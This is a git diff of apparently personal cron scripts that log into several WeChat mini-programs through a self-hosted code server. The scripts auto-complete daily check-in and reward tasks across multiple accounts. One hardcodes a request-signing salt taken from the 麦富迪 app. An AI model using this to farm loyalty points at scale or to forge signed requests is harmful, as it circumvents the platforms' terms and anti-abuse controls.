Error(`NO_ACCOUNT:登录未返回 access_token(该微信号可能未在小天鹅注册): ${short(atRes)}`); + } + const cache = readCache(); + cache[this.account.openid] = { ucToken: this.ucToken, token: this.token, updatedAt: Date.now() }; + writeCache(cache); + this.log("登录成功"); + } + // 通用任务中心:查询 -> 未完成逐个 begin -> complete + async runTaskCenter(label, queryPath, beginPath, completePath, queryBody) { + let res; + try { + res = await this.post(`${BASE_URL}${queryPath}`, JSON.stringify(queryBody), this.bizHeaders()); + } catch (e) { + this.log(`${label} 查询异常: ${e.message || e}`); + return; + } + if (!isOkCode(res)) { + this.log(`${label} 查询失败: ${res?.chnDesc || res?.msg || short(res)}`); + return; + } + const list = Array.isArray(res.content) ? res.content : []; + const undoneList = list.filter((t) => !t.isUserCompleted); + this.log(`${label} 共 ${list.length} 个任务,未完成 ${undoneList.length} 个`); + for (const t of undoneList) { + const rid = String(t.id); + const rname = t.ruleName || t.prizeName || rid; + if (/签到|每日签到|打卡/.test(String(rname))) this.signHit = true; + // 任务需按 timeInterval(秒) 停留后才能领取,遵循原脚本;上限 15s 防卡死 + const ti = Math.min(15, Math.max(2, Number(t.timeInterval || 0) || 2)); + try { + await this.post(`${BASE_URL}${beginPath}`, JSON.stringify({ ruleId: rid }), this.bizHeaders()); + await $.wait(ti * 1000, ti * 1000 + 800); + const cr = await this.post(`${BASE_URL}${completePath}`, JSON.stringify({ ruleId: rid }), this.bizHeaders()); + if (isOkCode(cr)) { + this.done++; + const c = cr.content || {}; + const delta = c.changeValue; + this.log(` ✅ 完成任务: ${rname}${delta ? ` +${delta}${c.prizeName || c.ruleName || ""}` : ""}`); + } else { + this.log(` ⚠️ 任务未领取: ${rname} (${cr?.chnDesc || cr?.msg || short(cr)})`); + } + } catch (e) { + this.log(` ⚠️ 任务出错: ${rname} (${e.message || e})`); + } + await $.wait(800, 1500); + } + } + // 小天鹅日常动作(喂草 / 领工作奖励 / 开工),旧天鹅活动若已下线(500)则静默跳过 + async swanDaily() { + let swanAlive = false; + try { + const info = (await axios.request({ + method: "GET", url: `${BASE_URL}/api/web/mobile/swan/getSwanByToken`, + headers: this.bizHeaders(), timeout: 20000, validateStatus: () => true, + })).data; + if (isOkCode(info) && info.content) { + swanAlive = true; + const c = info.content; + this.log(` 天鹅[${c.swanNick || "?"}] 草 ${c.grassAmount ?? "?"} / 贝壳 ${c.shellAmount ?? "?"}`); + const grass = Math.min(Number(c.grassAmount || 0), 5); + for (let i = 0; i < grass; i++) { + const fg = await this.post(`${BASE_URL}/api/web/mobile/swan/feedGrass`, "{}", this.bizHeaders()); + if (isOkCode(fg)) { this.done++; this.log(` ✅ 第${i + 1}次喂草,贝壳 ${fg.content?.shellAmount ?? "?"}`); } + else break; + await $.wait(600, 1200); + } + } + } catch (e) { this.log(` 喂草跳过: ${e.message || e}`); } + if (!swanAlive) { this.log(" 旧天鹅日常活动不可用,跳过喂草/工作间"); return; } + try { + await this.post(`${BASE_URL}/api/web/mobile/swan/userGainWorkPrize`, "{}", this.bizHeaders()); + await this.post(`${BASE_URL}/api/web/mobile/swan/swanStartWorking`, "{}", this.bizHeaders()); + this.log(" ✅ 领工作奖励 + 开工完成"); + } catch (e) { this.log(` 工作间跳过: ${e.message || e}`); } + } + async sign() { + // 主任务中心(含签到等日常任务) + await this.runTaskCenter( + "主任务", + "/api/web/mobile/swanPrize/queryPrizeRuleUserComplete", + "/api/web/mobile/swanPrize/beginTask", + "/api/web/mobile/swanPrize/completeTask", + { ruleType: "1", ruleClass: "3" } + ); + // 日常动作 + await this.swanDaily(); + // 召唤精灵任务中心 + await this.runTaskCenter( + "精灵任务", + "/api/web/mobile/avatarRule/queryPrizeRuleUserComplete", + "/api/web/mobile/avatarRule/beginTask", + "/api/web/mobile/avatarRule/completeTask", + { ruleTypeId: "1", ruleClassId: "2", seq: 0 } + ); + if (this.signHit) this.log(`✅ 每日签到任务已处理,本次共完成 ${this.done} 项日常`); + else this.log(`✅ 每日任务完成,本次共完成 ${this.done} 项日常`); + try { + const p = await this.post(`${BASE_URL}/api/web/mobile/avatar/getUserPoints`, "{}", this.bizHeaders()); + if (isOkCode(p)) this.log(` 当前积分: ${p.content}`); + } catch (e) {} + } + async ensureLogin() { + const cached = readCache()[this.account.openid] || {}; + if (!this.token && cached.token && cached.updatedAt && Date.now() - cached.updatedAt < TOKEN_TTL_MS) { + this.token = cached.token; this.ucToken = cached.ucToken || ""; this.log("使用缓存token"); return; + } + if (!this.token) await this.login(); + } + async run() { + if (!this.account.openid) { this.log("跳过:变量值里没有 openid"); return; } + try { + await this.ensureLogin(); + await this.sign(); + } catch (e) { + if (String(e.message).startsWith("NO_ACCOUNT")) { + this.log(`⚠️ 该微信号还没在美的小天鹅注册/登录过,先在小程序里登录一次再跑(${String(e.message).replace(/^NO_ACCOUNT:/, "")})`); + return; + } + this.log(`执行失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { $.log(`未找到变量 ${ckName}`); return; } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})().catch((e) => $.log(e.message || e)).finally(() => $.done()); diff --git a/wxapp/mengxiangjia.js b/wxapp/mengxiangjia.js new file mode 100644 index 00000000..63ac7f19 --- /dev/null +++ b/wxapp/mengxiangjia.js @@ -0,0 +1,270 @@ +/* +------------------------------------------ +@Author: sm +@Date: 2026.06.01 +@Description: 梦想家TSE微信小程序签到 +cron: 30 8 * * * +------------------------------------------ +变量名:mengxiangjia +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行 +依赖变量:wx_server_url、wx_auth +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("梦想家TSE微信小程序签到"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); + +const ckName = "mengxiangjia"; +const MINI_APP_ID = "wx696605f7e70c1e24"; +const VERSION = "2.30.6"; +const API_BASE = "https://smp-api.iyouke.com/dtapi"; +const TOKEN_CACHE_FILE = path.join(__dirname, "mengxiangjia_token_cache.json"); +const USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) MicroMessenger/3.9.12 MiniProgramEnv/Windows WindowsWechat/WMPF"; + +function readTokenCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} + +function writeTokenCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} + +function maskToken(token = "") { + const value = String(token || ""); + return value ? `${value.slice(0, 6)}***${value.slice(-6)}` : ""; +} + +function formatSignDate(date = new Date()) { + const year = date.getFullYear(); + const month = String(date.getMonth() + 1).padStart(2, "0"); + const day = String(date.getDate()).padStart(2, "0"); + return `${year}/${month}/${day}`; +} + +function isTokenError(message = "") { + return /401|403|token|登录|授权|未登录|invalid/i.test(String(message)); +} + +class Task { + constructor(openid) { + this.index = $.userIdx++; + this.openid = String(openid || "").trim(); + this.loginResult = {}; + } + + get accessToken() { + return this.loginResult.access_token || this.loginResult.accessToken || ""; + } + + async run() { + const cached = this.getCachedToken(); + if (cached?.access_token || cached?.accessToken) { + this.loginResult = cached; + $.log(`账号[${this.index}] 使用缓存token: ${maskToken(this.accessToken)}`); + if (!(await this.checkToken())) { + this.removeCachedToken(); + $.log(`账号[${this.index}] 缓存token失效,重新code登录`); + } + } + + if (!this.accessToken) { + await this.loginByWxCode(); + if (!this.accessToken) return; + } + + await this.getPointsInfo("签到前"); + await this.getSignConfig(); + const today = await this.getTodaySignItem(); + if (today?.daySignStatus === 2) { + $.log(`账号[${this.index}] 今日已签到`); + } else { + await this.signIn(today?.dateStr); + } + await this.getPointsInfo("签到后"); + } + + getCachedToken() { + const cache = readTokenCache(); + return cache[this.openid] || null; + } + + saveCachedToken() { + if (!this.accessToken) return; + const cache = readTokenCache(); + cache[this.openid] = { + ...this.loginResult, + updatedAt: new Date().toISOString(), + }; + writeTokenCache(cache); + } + + removeCachedToken() { + const cache = readTokenCache(); + if (cache[this.openid]) { + delete cache[this.openid]; + writeTokenCache(cache); + } + this.loginResult = {}; + } + + headers(withToken = true) { + const headers = { + "User-Agent": USER_AGENT, + "Referer": `https://servicewechat.com/${MINI_APP_ID}/5/page-frame.html`, + "Accept": "application/json, text/plain, */*", + "appId": MINI_APP_ID, + "version": VERSION, + "envVersion": "release", + }; + if (withToken && this.accessToken) headers.Authorization = `bearer${this.accessToken}`; + return headers; + } + + async request({ method = "GET", apiPath, data = {}, params = {}, needToken = true }) { + const options = { + method, + url: `${API_BASE}${apiPath}`, + headers: this.headers(needToken), + timeout: 15000, + validateStatus: () => true, + }; + if (method.toUpperCase() === "GET") options.params = params; + else options.data = data; + + const { status, data: result } = await axios.request(options); + if (status !== 200) throw new Error(`HTTP ${status}: ${typeof result === "string" ? result.slice(0, 200) : JSON.stringify(result)}`); + if (result && Object.prototype.hasOwnProperty.call(result, "error") && Number(result.error) !== 0) { + const err = new Error(result.errorMsg || result.error_msg || result.message || JSON.stringify(result)); + err.code = result.error; + throw err; + } + return result; + } + + async getWxCode() { + const wxServerUrl = process.env.wx_server_url; + const wxAuth = process.env.wx_auth; + if (!wxServerUrl || !wxAuth) throw new Error("未配置 wx_server_url 或 wx_auth"); + + const { status, data } = await axios.post( + `${wxServerUrl.replace(/\/$/, "")}/wx/getuserinfo`, + { appid: MINI_APP_ID, openid: this.openid }, + { + headers: { + auth: wxAuth, + "content-type": "application/json", + }, + timeout: 15000, + validateStatus: () => true, + } + ); + const code = data?.code || data?.data?.code; + if (status !== 200 || !code) throw new Error(`wx_server 获取code失败: HTTP ${status} ${JSON.stringify(data)}`); + return code; + } + + async loginByWxCode() { + try { + const code = await this.getWxCode(); + const data = await this.request({ + method: "POST", + apiPath: "/appLogin", + needToken: false, + data: { + principal: code, + appType: 1, + }, + }); + this.loginResult = data || {}; + this.saveCachedToken(); + $.log(`账号[${this.index}] 登录成功: userId=${data?.userId || ""} token=${maskToken(this.accessToken)}`); + } catch (e) { + $.log(`账号[${this.index}] 登录失败: ${e.message || e}`); + } + } + + async checkToken() { + try { + await this.getPointsInfo("缓存校验"); + return true; + } catch (e) { + return false; + } + } + + async getSignConfig() { + try { + const result = await this.request({ apiPath: "/pointsSign/config/query" }); + const data = result?.data || {}; + $.log(`账号[${this.index}] 签到配置: ${Number(data.signEnable) === 1 ? "已开启" : "未开启"} 日签${data.signReward ?? ""}积分`); + return data; + } catch (e) { + $.log(`账号[${this.index}] 获取签到配置失败: ${e.message || e}`); + return {}; + } + } + + async getTodaySignItem() { + try { + const result = await this.request({ + apiPath: "/pointsSign/user/sign/list", + params: { v4Flag: true }, + }); + const list = Array.isArray(result?.data) ? result.data : []; + const today = list.find((item) => item?.isToday) || {}; + $.log(`账号[${this.index}] 今日签到状态: ${today.dateStr || ""} status=${today.daySignStatus ?? "未知"}`); + return today; + } catch (e) { + $.log(`账号[${this.index}] 获取签到列表失败: ${e.message || e}`); + return {}; + } + } + + async getPointsInfo(label = "积分") { + const result = await this.request({ apiPath: "/pointsSign/user/pointsInfo/query" }); + const data = result?.data || {}; + $.log(`账号[${this.index}] ${label}: ${data.pointsNums ?? "未知"}积分 连签${data.seriesDays ?? 0}天 今日${data.signTodayResult ? "已签" : "未签"}`); + return data; + } + + async signIn(dateStr) { + const date = dateStr ? dateStr.replace(/-/g, "/") : formatSignDate(); + try { + const result = await this.request({ + apiPath: "/pointsSign/user/sign", + params: { date }, + }); + const data = result?.data || {}; + $.log(`账号[${this.index}] 签到成功: +${data.signReward ?? 0}积分${data.extraSignReward ? ` 额外+${data.extraSignReward}` : ""}`); + } catch (e) { + const message = String(e.message || e); + if (/已签到|重复签到/.test(message)) { + $.log(`账号[${this.index}] 今日已签到`); + return; + } + $.log(`账号[${this.index}] 签到失败: ${message}`); + if (isTokenError(message)) this.removeCachedToken(); + } + } +} + +!(async () => { + $.checkEnv(ckName); + for (const openid of $.userList) { + await new Task(openid).run(); + } +})() + .catch((e) => $.log(e.message || e)) + .finally(() => $.done()); diff --git a/wxapp/mfd.js b/wxapp/mfd.js new file mode 100644 index 00000000..aff2752b --- /dev/null +++ b/wxapp/mfd.js @@ -0,0 +1,323 @@ +/* +------------------------------------------ +@Author: sm +@Date: 2026.05.31 +@Description: 麦富迪会员小程序签到 +cron: 35 8 * * * +------------------------------------------ +变量名:mfd +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行 + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("麦富迪会员签到"); +const axios = require("axios"); +const crypto = require("crypto"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const MINI_APP_ID = "wx278a2ed79c5182f8"; +const API_BASE = "https://cdp.myfoodiepet.com"; +const APP_ID = "6259662812989361028"; +const TENANT_ID = "00ae459e842642f78b9ab0d8e7c027b4"; +const SIGN_SALT = "XpL9q#dK2zRf$tMn"; +const TOKEN_CACHE_FILE = path.join(__dirname, "mfd_token_cache.json"); +const USER_AGENT = + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) MicroMessenger/3.9.12 MiniProgramEnv/Windows WindowsWechat/WMPF"; + +let ckName = "mfd"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readTokenCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} + +function writeTokenCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} + +function maskPhone(phone = "") { + return String(phone).replace(/^(\d{3})\d{4}(\d{4})$/, "$1****$2"); +} + +function shortValue(value = "") { + const text = String(value || ""); + return text ? `${text.slice(0, 4)}***${text.slice(-4)}` : ""; +} + +function md5(text) { + return crypto.createHash("md5").update(String(text)).digest("hex"); +} + +function memberSignature(memberId) { + const timestamp = Date.now(); + return { + memberId, + timestamp, + signature: md5(`${memberId}${timestamp}${SIGN_SALT}`), + }; +} + +function isTokenError(error) { + return /登录|授权|memberId|401|openid|code|token/i.test(String(error && (error.message || error))); +} + +class Task { + constructor(account) { + this.index = $.userIdx++; + this.account = String(account || "").trim(); + this.openId = ""; + this.unionId = ""; + this.memberId = ""; + this.phone = ""; + this.groupId = ""; + this.agentId = ""; + this.memberInfo = {}; + } + + async run() { + const cached = this.getCachedToken(); + if (cached) { + this.applyToken(cached); + $.log(`账号[${this.index}] 使用缓存登录态: memberId=${shortValue(this.memberId)}`); + if (!(await this.checkLogin())) { + this.removeCachedToken(); + $.log(`账号[${this.index}] 缓存登录态失效,重新登录`); + } + } + + if (!this.memberId) { + await this.loginByWxCode(); + if (!this.memberId) return; + } + + await this.getMemberInfo(); + await this.getContinuousDays(); + await this.signIn(); + await this.getContinuousDays(); + } + + getCachedToken() { + const cache = readTokenCache(); + const item = cache[this.account]; + if (!item || !item.memberId) return null; + return item; + } + + saveCachedToken() { + if (!this.memberId) return; + const cache = readTokenCache(); + cache[this.account] = { + openId: this.openId, + unionId: this.unionId, + memberId: this.memberId, + phone: this.phone, + groupId: this.groupId, + agentId: this.agentId, + updatedAt: new Date().toISOString(), + }; + writeTokenCache(cache); + } + + removeCachedToken() { + const cache = readTokenCache(); + if (cache[this.account]) { + delete cache[this.account]; + writeTokenCache(cache); + } + this.openId = ""; + this.unionId = ""; + this.memberId = ""; + this.phone = ""; + this.groupId = ""; + this.agentId = ""; + } + + applyToken(data = {}) { + this.openId = data.openId || ""; + this.unionId = data.unionId || ""; + this.memberId = data.memberId || ""; + this.phone = data.phone || ""; + this.groupId = data.groupId || ""; + this.agentId = data.agentId || ""; + } + + getHeaders(extra = {}) { + const headers = { + "User-Agent": USER_AGENT, + "Referer": `https://servicewechat.com/${MINI_APP_ID}/402/page-frame.html`, + "Accept": "application/json, text/plain, */*", + "Content-Type": "application/json", + appId: APP_ID, + tenantId: TENANT_ID, + wxAppid: MINI_APP_ID, + groupId: this.groupId || "", + ...extra, + }; + if (this.memberId) headers.userId = this.memberId; + return headers; + } + + async request({ method = "GET", apiPath, params = {}, data = {} }) { + const upperMethod = method.toUpperCase(); + const options = { + method: upperMethod, + url: `${API_BASE}${apiPath.startsWith("/") ? apiPath : `/${apiPath}`}`, + headers: this.getHeaders(), + timeout: 20000, + validateStatus: () => true, + }; + if (upperMethod === "GET") options.params = { ...params, _: Date.now() }; + else { + options.params = { _: Date.now() }; + options.data = data; + } + + const { data: result, status } = await axios.request(options); + if (status !== 200) throw new Error(`HTTP ${status}: ${JSON.stringify(result)}`); + if (!result || (String(result.code) !== "0" && Number(result.code) !== 2)) { + throw new Error(result?.msg || result?.message || JSON.stringify(result)); + } + return result; + } + + async getLoginCode() { + if (!process.env.wx_auth) throw new Error("缺少 wx_auth,无法从 wx_server 获取 code"); + const { data } = await wechat.getCode(this.account); + const code = data && (data.code || (data.data && data.data.code)); + if (!code) throw new Error(`wx_server 未返回 code: ${JSON.stringify(data)}`); + return code; + } + + async getIdentityInfo() { + try { + const result = await this.request({ + apiPath: `/tnew/myfoodiepet-member/v1/member/identity/info/${MINI_APP_ID}`, + }); + const data = result.data || {}; + this.groupId = data.groupId || this.groupId; + this.agentId = data.agentId || this.agentId; + this.saveCachedToken(); + return data; + } catch (e) { + $.log(`账号[${this.index}] 获取身份配置失败: ${e.message || e}`); + return {}; + } + } + + async loginByWxCode() { + try { + await this.getIdentityInfo(); + const code = await this.getLoginCode(); + const result = await this.request({ + apiPath: "/tnew/myfoodiepet-member/v1/wechat/applet/authorizeV2", + params: { code }, + }); + const data = result.data || {}; + this.openId = data.openId || ""; + this.unionId = data.unionId || ""; + this.memberId = String(data.memberId || ""); + this.phone = data.phone || ""; + if (!this.memberId) throw new Error(`登录响应未返回 memberId: ${JSON.stringify(result)}`); + this.saveCachedToken(); + $.log(`账号[${this.index}] 登录成功: memberId=${shortValue(this.memberId)} ${maskPhone(this.phone)}`); + } catch (e) { + $.log(`账号[${this.index}] 登录失败: ${e.message || e}`); + } + } + + async checkLogin() { + try { + if (!this.groupId) await this.getIdentityInfo(); + await this.queryMemberById(); + return true; + } catch (e) { + return false; + } + } + + async queryMemberById() { + const result = await this.request({ + method: "POST", + apiPath: "/tnew/myfoodiepet-member/v1/member/queryByMemberId", + data: memberSignature(this.memberId), + }); + return result.data || {}; + } + + async getMemberInfo() { + try { + const data = await this.queryMemberById(); + this.memberInfo = data; + const name = data.nickName || data.nickname || data.memberName || data.name || "未知"; + const phone = data.phone || data.mobile || this.phone; + const point = data.availablePoint ?? data.point ?? data.points ?? data.integral ?? "未知"; + $.log(`账号[${this.index}] 会员: ${name} ${maskPhone(phone)} 积分=${point}`); + } catch (e) { + $.log(`账号[${this.index}] 查询会员信息失败: ${e.message || e}`); + if (isTokenError(e)) this.removeCachedToken(); + } + } + + async getContinuousDays() { + try { + const result = await this.request({ + apiPath: `/tnew/myfoodiepet-member/v1/member/continuous-days/${this.memberId}`, + }); + const data = result.data || {}; + this.signedToday = data.signedToday; + $.log(`账号[${this.index}] 签到状态: 连续${data.continuousDays ?? 0}天 今日=${data.signedToday ? "已签" : "未签"}`); + return data; + } catch (e) { + $.log(`账号[${this.index}] 查询签到状态失败: ${e.message || e}`); + return {}; + } + } + + async signIn() { + try { + if (this.signedToday) { + $.log(`账号[${this.index}] 今日已签到`); + return; + } + const result = await this.request({ + method: "POST", + apiPath: "/tnew/myfoodiepet-member/v1/member/sign", + data: { memberId: this.memberId }, + }); + $.log(`账号[${this.index}] 签到成功: ${result.msg || result.message || "ok"}`); + } catch (e) { + $.log(`账号[${this.index}] 签到失败: ${e.message || e}`); + if (isTokenError(e)) this.removeCachedToken(); + } + } +} + +!(async () => { + $.checkEnv(ckName); + for (const account of $.userList) { + await new Task(account).run(); + } +})() + .catch((e) => $.log(e.message || e)) + .finally(() => $.done()); diff --git a/wxapp/miaoyouHome.js b/wxapp/miaoyouHome.js deleted file mode 100644 index d403a0e0..00000000 --- a/wxapp/miaoyouHome.js +++ /dev/null @@ -1,476 +0,0 @@ -/** - * cron 48 17 * * * miaoyouHome.js - * Show:微信公众号 庙友之家 每日签到 积分可换首饰 - * 变量名:miaoyouHome - * 变量值:http://www.jumpingcarp.cn/scrm-rz-wechat-tzlm 公众号 左下角 每日签到 链接里面的headers 中的 COOKIE - * JSESSIONID= 的值 的值 的值 多账户@或换行 - * scriptVersionNow = "0.0.1"; - */ - -const $ = new Env("wx_庙友之家"); -const notify = $.isNode() ? require('../sendNotify') : ''; -let ckName = "miaoyouHome"; -let envSplitor = ["@", "\n"]; //多账号分隔符 -let strSplitor = "&"; //多变量分隔符 -let userIdx = 0; -let userList = []; -class UserInfo { - constructor(str) { - this.index = ++userIdx; - this.ck = str.split(strSplitor)[0]; //单账号多变量分隔符 - this.ckStatus = true; - //定义在这里的headers会被get请求删掉content-type 而不会重置 - } - async main() { - await this.task(); - await this.userInfo() - } - async task() { - try { - let options = { - fn: "签到", - method: "post", - url: `http://www.jumpingcarp.cn/scrm-rz-wechat-tzlm/lotteryController/extractMemberAwards`, - headers: { - "Connection": "keep-alive", - //"Content-Length": "2", - "Accept": "application/json, text/plain, */*", - "X-Requested-With": "XMLHttpRequest", - "User-Agent": "Mozilla/5.0 (Linux; Android 10; MI 8 Lite Build/QKQ1.190910.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/111.0.5563.116 Mobile Safari/537.36 XWEB/1110017 MMWEBSDK/20231002 MMWEBID/2585 MicroMessenger/8.0.43.2480(0x28002B51) WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64", - "Content-Type": "application/json;charset=UTF-8", - "Origin": "http://www.jumpingcarp.cn", - "Referer": "http://www.jumpingcarp.cn/scrm-rz-wechat-tzlm/index.html", - "Accept-Encoding": "gzip, deflate", - "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", - "Cookie": "JSESSIONID=" + this.ck - }, - body: JSON.stringify({}) - } - let { body: result } = await $.httpRequest(options); - //console.log(options); - console.log(result); - - } catch (e) { - console.log(e); - } - } - async userInfo() { - try { - let options = { - fn: "我的积分", - method: "post", - url: `http://www.jumpingcarp.cn/scrm-rz-wechat-tzlm/memberController/showMemberInfo`, - headers: { - "Connection": "keep-alive", - //"Content-Length": "2", - "Accept": "application/json, text/plain, */*", - "X-Requested-With": "XMLHttpRequest", - "User-Agent": "Mozilla/5.0 (Linux; Android 10; MI 8 Lite Build/QKQ1.190910.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/111.0.5563.116 Mobile Safari/537.36 XWEB/1110017 MMWEBSDK/20231002 MMWEBID/2585 MicroMessenger/8.0.43.2480(0x28002B51) WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64", - "Content-Type": "application/json;charset=UTF-8", - "Origin": "http://www.jumpingcarp.cn", - "Referer": "http://www.jumpingcarp.cn/scrm-rz-wechat-tzlm/index.html", - "Accept-Encoding": "gzip, deflate", - "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", - "Cookie": "JSESSIONID=" + this.ck - }, - body: JSON.stringify({}) - } - let { body: result } = await $.httpRequest(options); - //console.log(options); - //console.log(result); - if(result.code == 200){ - $.log(`当前积分[${result.data.pointsBalance}]`) - }else { - console.log(result); - } - - } catch (e) { - console.log(e); - } - } -} - -async function start() { - let taskall = []; - for (let user of userList) { - if (user.ckStatus) { - taskall.push(await user.main()); - } - } - await Promise.all(taskall); -} - -!(async () => { - if (!(await checkEnv())) return; - if (userList.length > 0) { - await start(); - } - await $.SendMsg($.logs.join("\n")) -})() - .catch((e) => console.log(e)) - .finally(() => $.done()); - -//******************************************************** -/** - * 变量检查与处理 - * @returns - */ -async function checkEnv() { - let userCookie = ($.isNode() ? process.env[ckName] : $.getdata(ckName)) || ""; - if (userCookie) { - let e = envSplitor[0]; - for (let o of envSplitor) - if (userCookie.indexOf(o) > -1) { - e = o; - break; - } - for (let n of userCookie.split(e)) n && userList.push(new UserInfo(n)); - } else { - console.log("未找到CK"); - return; - } - return console.log(`共找到${userList.length}个账号`), true; //true == !0 -} - -///////////////////////////////////////////////////////////////////////////////////// -function Env(t, s) { - return new (class { - constructor(t, s) { - this.name = t; - this.data = null; - this.dataFile = "box.dat"; - this.logs = []; - this.logSeparator = "\n"; - this.startTime = new Date().getTime(); - Object.assign(this, s); - this.log("", `\ud83d\udd14${this.name}, \u5f00\u59cb!`); - } - isNode() { - return "undefined" != typeof module && !!module.exports; - } - isQuanX() { - return "undefined" != typeof $task; - } - isSurge() { - return "undefined" != typeof $httpClient && "undefined" == typeof $loon; - } - isLoon() { - return "undefined" != typeof $loon; - } - getScript(t) { - return new Promise((s) => { - this.get({ url: t }, (t, e, i) => s(i)); - }); - } - runScript(t, s) { - return new Promise((e) => { - let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); - i = i ? i.replace(/\n/g, "").trim() : i; - let o = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); - (o = o ? 1 * o : 20), (o = s && s.timeout ? s.timeout : o); - const [h, a] = i.split("@"), - r = { - url: `http://${a}/v1/scripting/evaluate`, - body: { script_text: t, mock_type: "cron", timeout: o }, - headers: { "X-Key": h, Accept: "*/*" }, - }; - this.post(r, (t, s, i) => e(i)); - }).catch((t) => this.logErr(t)); - } - loaddata() { - if (!this.isNode()) return {}; - { - this.fs = this.fs ? this.fs : require("fs"); - this.path = this.path ? this.path : require("path"); - const t = this.path.resolve(this.dataFile), - s = this.path.resolve(process.cwd(), this.dataFile), - e = this.fs.existsSync(t), - i = !e && this.fs.existsSync(s); - if (!e && !i) return {}; - { - const i = e ? t : s; - try { - return JSON.parse(this.fs.readFileSync(i)); - } catch (t) { - return {}; - } - } - } - } - writedata() { - if (this.isNode()) { - this.fs = this.fs ? this.fs : require("fs"); - this.path = this.path ? this.path : require("path"); - const t = this.path.resolve(this.dataFile), - s = this.path.resolve(process.cwd(), this.dataFile), - e = this.fs.existsSync(t), - i = !e && this.fs.existsSync(s), - o = JSON.stringify(this.data); - e ? this.writeFileSync(t, o) : i ? this.fs.writeFileSync(s, o) : this.fs.writeFileSync(t, o); - } - } - lodash_get(t, s, e) { - const i = s.replace(/\[(\d+)\]/g, ".$1").split("."); - let o = t; - for (const t of i) if (((o = Object(o)[t]), void 0 === o)) return e; - return o; - } - lodash_set(t, s, e) { - return Object(t) !== t - ? t - : (Array.isArray(s) || (s = s.toString().match(/[^.[\]]+/g) || []), - (s - .slice(0, -1) - .reduce( - (t, e, i) => - Object(t[e]) === t[e] - ? t[e] - : (t[e] = Math.abs(s[i + 1]) >> 0 == +s[i + 1] ? [] : {}), - t - )[s[s.length - 1]] = e), - t); - } - getdata(t) { - let s = this.getval(t); - if (/^@/.test(t)) { - const [, e, i] = /^@(.*?)\.(.*?)$/.exec(t), - o = e ? this.getval(e) : ""; - if (o) - try { - const t = JSON.parse(o); - s = t ? this.lodash_get(t, i, "") : s; - } catch (t) { - s = ""; - } - } - return s; - } - setdata(t, s) { - let e = !1; - if (/^@/.test(s)) { - const [, i, o] = /^@(.*?)\.(.*?)$/.exec(s), - h = this.getval(i), - a = i ? ("null" === h ? null : h || "{}") : "{}"; - try { - const s = JSON.parse(a); - this.lodash_set(s, o, t), (e = this.setval(JSON.stringify(s), i)); - } catch (s) { - const h = {}; - this.lodash_set(h, o, t), (e = this.setval(JSON.stringify(h), i)); - } - } else e = this.setval(t, s); - return e; - } - getval(t) { - if (this.isSurge() || this.isLoon()) { - return $persistentStore.read(t); - } else if (this.isQuanX()) { - return $prefs.valueForKey(t); - } else if (this.isNode()) { - this.data = this.loaddata(); - return this.data[t]; - } else { - return this.data && this.data[t] || null; - } - } - setval(t, s) { - if (this.isSurge() || this.isLoon()) { - return $persistentStore.write(t, s); - } else if (this.isQuanX()) { - return $prefs.setValueForKey(t, s); - } else if (this.isNode()) { - this.data = this.loaddata(); - this.data[s] = t; - this.writedata(); - return true; - } else { - return this.data && this.data[s] || null; - } - } - initGotEnv(t) { - this.got = this.got ? this.got : require("got"); - this.cktough = this.cktough ? this.cktough : require("tough-cookie"); - this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar(); - if (t) { - t.headers = t.headers ? t.headers : {}; - if (typeof t.headers.Cookie === "undefined" && typeof t.cookieJar === "undefined") { - t.cookieJar = this.ckjar; - } - } - } - /** - * @param {Object} options - * @returns {String} 将 Object 对象 转换成 queryStr: key=val&name=senku - */ - queryStr(options) { - return Object.entries(options) - .map(([key, value]) => `${key}=${typeof value === 'object' ? JSON.stringify(value) : value}`) - .join('&'); - } - isJSONString(str) { - try { - var obj = JSON.parse(str); - if (typeof obj == 'object' && obj) { - return true; - } else { - return false; - } - } catch (e) { - return false; - } - } - isJson(obj) { - var isjson = typeof (obj) == "object" && Object.prototype.toString.call(obj).toLowerCase() == "[object object]" && !obj.length; - return isjson; - } - async SendMsg(message) { - if (!message) return; - if ($.isNode()) { - await notify.sendNotify($.name, message) - } else { - $.msg($.name, '', message) - } - } - async httpRequest(options) { - const t = { - ...options - }; - if 